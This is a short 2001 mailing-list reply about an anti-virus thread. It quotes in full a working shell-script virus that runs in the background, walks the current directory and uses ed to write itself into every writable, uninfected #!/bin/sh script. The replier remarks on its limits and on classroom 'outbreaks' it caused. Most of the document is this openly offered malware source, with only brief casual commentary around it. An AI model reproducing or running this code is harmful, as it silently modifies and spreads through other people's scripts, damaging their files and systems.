[PLUG] anti virus

David C. Hansen dave@sr71.net
Thu, 20 Sep 2001 09:41:05 -0700


Scott Minster wrote:

> #!/bin/sh
> ( V_s=$0;i () { ( e=echo; $e 1 r \!sed -n 2p $V_s;$e w;$e q) | ed -s $1;}; d
> () { if [ -w $1 -a "`head -1 $1`" = "#!/bin/sh" -a "`grep -n V_i $1`" =
> "" ]; then i $1; fi;}; for b in `find . -type f -print`;do d $b;done; ) &
> 
> echo I am a shell virus
> 
But, it will only invect shell scripts which are under the cwd.  Also, I
don't think that anyone who would be stupid enough to run it would be
clever enough to realize that it all has to be on one line.

We dealt with this in CS426 last semester and there were a few,
"outbreaks" because of careless students. :)
-- 
David C. Hansen
dave@sr71.net
ICQ: 7785546
AIM: HansenDC79